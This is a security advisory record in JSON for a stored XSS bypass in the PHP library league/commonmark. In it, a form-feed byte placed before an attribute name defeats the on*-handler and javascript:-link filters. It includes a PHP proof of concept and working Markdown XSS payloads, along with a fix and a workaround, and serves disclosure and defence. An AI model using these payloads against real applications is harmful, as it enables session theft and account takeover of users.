{"id":"GHSA-f8fg-pg57-v4j8","summary":"league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed","details":"### Summary\n\nThe `AttributesExtension` documents a security guarantee:\n\n\u003e **Note:** Attributes starting with `on` (e.g. `onclick` or `onerror`) are capable of executing\n\u003e JavaScript code and are therefore **never allowed by default**. You must explicitly add them to\n\u003e the `allow` list if you want to use them.\n\u003e\n\u003e — `docs/2.x/extensions/attributes.md`\n\nPrefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee.\n`{\u003cFF\u003eonclick=\"alert(1)\"}` passes through `AttributesHelper::filterAttributes()` untouched and is\nwritten verbatim into the output, where browsers parse it as a genuine `onclick` handler.\n\nThe same prefix defeats the `allow_unsafe_links` check, letting a `javascript:` URI through on\n`href` / `src` even when `allow_unsafe_links` is `false`.\n\nThis bypasses the fix shipped in the **2.7.0 security release** (\"Fix XSS in AttributesExtension\",\n43207253ea5f14867c77c697cd3838c446cadcea), which added `filterAttributes()` for the express\npurpose of blocking these attributes.\n\nThroughout this report `\u003cFF\u003e` denotes a literal U+000C byte (`\"\\x0C\"` in PHP). It is invisible in\nrendered text, so all payloads below are written with PHP escape sequences to stay unambiguous.\n\n### Details\n\nThree behaviours combine.\n\n**1. `\\x0C` survives the parser's `trim()`.**\n\n`AttributesHelper::SINGLE_ATTRIBUTE` begins with `\\s*`, and `Cursor::match()` returns\n`$matches[0][0]` — the *entire* match, including that leading whitespace. The result is cleaned\nwith PHP's `trim()`:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:62\nwhile ($attribute = \\trim((string) $attributeCursor-\u003ematch('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {\n```\n\nPCRE `\\s` matches `\\x0C`, but PHP's default `trim()` charlist is `\" \\t\\n\\r\\0\\x0B\"` — it includes\nthe vertical tab `\\x0B` but **not** the form feed `\\x0C`. The byte is therefore consumed by the\nregex, retained in the returned match, and not stripped. It ends up inside the attribute name:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:94\n$attributes[\\trim($name)] = \\trim($value);   // $name === \"\\x0Conclick\"\n```\n\n`\\x0C` is the only byte with this property: every other character the HTML5 tokenizer treats as\nwhitespace (`\\x09`, `\\x0A`, `\\x0D`, `\\x20`), plus `\\x0B`, is in PHP's trim charlist. The PoC\nincludes a `\\x0B` case as a control, and it is correctly stripped.\n\n**2. The filter's string comparisons miss it.**\n\n`filterAttributes()` compares the raw name against literal strings:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:148-166\n$attrNameLower = \\strtolower($name);                            // \"\\x0conclick\"\n... ($attrNameLower === 'href' || $attrNameLower === 'src') ... // false\n... \\str_starts_with($attrNameLower, 'on') ...                  // false -\u003e not removed\n```\n\n**3. The renderer never escapes attribute names.**\n\n```php\n// src/Util/HtmlElement.php:123-129\n$result .= ' ' . $key . '=\"' . Xml::escape($value) . '\"';   // $key emitted raw\n```\n\nBecause the HTML5 tokenizer treats `\\x0C` as whitespace *between* attributes, the browser reads\nthe name as plain `onclick`.\n\n### PoC\n\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse League\\CommonMark\\Environment\\Environment;\nuse League\\CommonMark\\Extension\\Attributes\\AttributesExtension;\nuse League\\CommonMark\\Extension\\CommonMark\\CommonMarkCoreExtension;\nuse League\\CommonMark\\MarkdownConverter;\n\n// The most defensive configuration docs/2.x/security.md recommends.\n$env = new Environment([\n    'html_input'         =\u003e 'escape',\n    'allow_unsafe_links' =\u003e false,\n    'max_nesting_level'  =\u003e 100,\n    // 'attributes' =\u003e ['allow' =\u003e [...]] deliberately left at its default []\n]);\n$env-\u003eaddExtension(new CommonMarkCoreExtension());\n$env-\u003eaddExtension(new AttributesExtension());\n$converter = new MarkdownConverter($env);\n\n$FF = \"\\x0C\";\n\necho $converter-\u003econvert('hello {onclick=\"alert(1)\"}')-\u003egetContent();\n// \u003cp\u003ehello\u003c/p\u003e                                    \u003c- filtered, as documented\n\necho $converter-\u003econvert('hello {' . $FF . 'onclick=\"alert(1)\"}')-\u003egetContent();\n// \u003cp \\x0Conclick=\"alert(1)\"\u003ehello\u003c/p\u003e             \u003c- BYPASS\n```\n\nFull observed output (`\\x0C` shown escaped; it is a literal single byte in the real output):\n\n| # | Markdown input | Rendered output | Result |\n|---|---|---|---|\n| A | `hello {onclick=\"alert(1)\"}` | `\u003cp\u003ehello\u003c/p\u003e` | filtered (control) |\n| B | `hello {\\x0Conclick=\"alert(1)\"}` | `\u003cp \\x0Conclick=\"alert(1)\"\u003ehello\u003c/p\u003e` | **bypass** |\n| C | `hello {\\x0Bonclick=\"alert(1)\"}` | `\u003cp\u003ehello\u003c/p\u003e` | filtered (control) |\n| D | `[click](javascript:alert(1))` | `\u003cp\u003e\u003ca\u003eclick\u003c/a\u003e\u003c/p\u003e` | filtered (control) |\n| E | `[click](https://example.com){\\x0Chref=\"javascript:alert(1)\"}` | `\u003cp\u003e\u003ca \\x0Chref=\"javascript:alert(1)\" href=\"https://example.com\"\u003eclick\u003c/a\u003e\u003c/p\u003e` | **bypass** |\n| F | `![x](https://example.invalid/x.png){\\x0Conerror=\"alert(1)\"}` | `\u003cp\u003e\u003cimg \\x0Conerror=\"alert(1)\" src=\"…\" alt=\"x\" /\u003e\u003c/p\u003e` | **bypass** |\n| G | `# heading` + newline + `{\\x0Conclick=\"alert(1)\"}` | `\u003ch1 \\x0Conclick=\"alert(1)\"\u003eheading\u003c/h1\u003e` | **bypass** (block syntax) |\n\nIn case E the injected `href` precedes the legitimate one. Per the HTML5 duplicate-attribute rule\nthe **first** occurrence wins, so the `javascript:` URI is the one the browser actually uses.\n\n**Browser confirmation.** Loading the library's unmodified output in Chrome for Testing 148:\n\n```\n\u003cimg\u003e attribute names : [\"onerror\",\"src\",\"alt\"]      \u003c- parsed as a real `onerror`\ntypeof img.onerror    : function                     \u003c- bound as an event handler\nhandlers fired        : [\"img-onerror\"]              \u003c- fired on load, no interaction\ndocument.title        : XSS-FIRED\nlink href attribute   : \"javascript:void(0)\"\nlink href property    : \"javascript:void(0)\"         \u003c- javascript: URI is the effective href\npage errors           : []\n```\n\nThe `onerror` case executes with **no user interaction** — rendering the attacker's Markdown is\nsufficient.\n\nVerified against git HEAD (`f966b17a`) and against tag `2.9.0`, on PHP 8.5.8.\n\n### Impact\n\nStored cross-site scripting in any application that renders untrusted Markdown with\n`AttributesExtension` enabled and `attributes.allow` left at its default `[]` — even when the\napplication has followed every hardening step in `docs/2.x/security.md`\n(`html_input =\u003e 'escape'`, `allow_unsafe_links =\u003e false`, `max_nesting_level =\u003e 100`).\n\nConsequences are the usual for stored XSS: session and cookie theft, actions performed as the\nviewing user, and account takeover where the host application permits it. Because the payload can\nbe attached to an image (`onerror`), it fires on page load without requiring the victim to\ninteract with anything.\n\nThe affected configuration is the extension's default: `attributes.allow` defaults to `[]`, and\nthe documentation describes that default as safe with respect to `on*` attributes.\n\n### Workaround for users\n\nSetting an explicit allow list takes the other branch of `filterAttributes()`, which drops the\nform-feed name because it is not in the list:\n\n```php\n$config = ['attributes' =\u003e ['allow' =\u003e ['id', 'class', 'align']]];\n```\n\nVerified: `hello {\\x0Conclick=\"alert(1)\"}` then renders as `\u003cp\u003ehello\u003c/p\u003e`.\n\n### Suggested fix\n\nThe narrow fix is to add `\\x0C` to the trim charlist at `AttributesHelper.php` lines 62, 89, 90\nand 94. That closes this instance but leaves the shape of the problem in place.\n\nA more durable fix is to reject anything that is not a well-formed attribute name in\n`filterAttributes()`, reusing the constant the parser already defines (`RegexHelper` is already\nimported in that file):\n\n```php\nforeach ($attributes as $name =\u003e $value) {\n    // Names are compared against literal strings below and emitted without escaping,\n    // so anything that isn't a plain attribute name must not get through.\n    if (\\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', $name) !== 1) {\n        unset($attributes[$name]);\n        continue;\n    }\n\n    $attrNameLower = \\strtolower($name);\n    // ... existing logic unchanged\n}\n```\n\nAs defence in depth, `HtmlElement::__toString()` could validate or escape `$key`. It currently\ntrusts its callers to supply safe attribute names, and `filterAttributes()` is the only thing\nstanding between that method and user-supplied input.","aliases":["CVE-2026-86431"],"modified":"2026-09-08T03:55:56.999973930Z","published":"2026-09-01T20:18:29Z","database_specific":{"github_reviewed_at":"2026-09-01T20:18:29Z","nvd_published_at":null,"cwe_ids":["CWE-79","CWE-86"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/thephpleague/commonmark/security/advisories/GHSA-f8fg-pg57-v4j8"},{"type":"WEB","url":"https://github.com/thephpleague/commonmark/commit/dfcdf4554c16aa37c15e3a5ee3243ee26147c239"},{"type":"PACKAGE","url":"https://github.com/thephpleague/commonmark"},{"type":"WEB","url":"https://github.com/thephpleague/commonmark/releases/tag/2.9.1"}],"affected":[{"package":{"name":"league/commonmark","ecosystem":"Packagist","purl":"pkg:composer/league/commonmark"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.0"},{"fixed":"2.9.1"}]}],"versions":["2.7.0","2.7.1","2.8.0","2.8.1","2.8.2","2.8.3","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-f8fg-pg57-v4j8/GHSA-f8fg-pg57-v4j8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}